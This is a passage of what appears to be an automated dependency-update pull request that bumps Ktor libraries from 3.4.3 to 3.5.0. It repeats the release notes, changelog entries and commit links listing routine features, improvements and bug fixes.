href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-http-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-status-pages` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-status-pages's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-status-pages's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders 